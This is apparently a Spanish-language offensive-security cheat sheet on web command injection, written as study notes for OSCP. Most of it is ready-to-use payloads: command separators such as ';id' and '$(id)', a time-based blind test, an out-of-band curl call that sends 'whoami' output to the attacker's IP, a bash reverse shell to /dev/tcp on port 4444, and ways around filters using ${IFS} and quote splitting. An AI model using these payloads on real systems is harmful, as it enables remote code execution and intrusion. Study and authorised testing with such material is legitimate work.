# Command injection > Un parámetro web acaba dentro de un comando del sistema → ejecutas comandos. RCE directo, vector top del Hacking web. ## Dónde aparece Funciones que "hacen algo" con tu input: `ping`, `nslookup`, convertir imágenes, export, backup, "test connection". ## Separadores a probar (en Burp Repeater e Intruder) ``` ;id ejecuta tras el comando | id pipe & id / && id encadenado `id` $(id) sustitución de comando %0a id newline (a veces evade filtros) ``` Ejemplo: `?host=127.0.0.1;id` → si ves `uid=...` en la respuesta, tienes RCE. ## Blind (no ves la salida) ```bash # basado en tiempo: ?host=127.0.0.1 && sleep 5 # ¿tarda 5s? → vulnerable # out-of-band: ?host=127.0.0.1; curl http://TU_IP/$(whoami) # míralo en tu http.server ``` ## De RCE a shell ``` ?host=127.0.0.1; bash -c 'bash -i >& /dev/tcp/TU_IP/4444 0>&1' ``` → recíbela en tu listener (Reverse shell, ojo al Egress filtering). ## Bypass de filtros - Espacios filtrados → `${IFS}`, `$IFS$9`, `<`. - Palabras filtradas → `w''hoami`, `wh\oami`, variables. Relacionado: Directory traversal · Reverse shell · OSCP MOC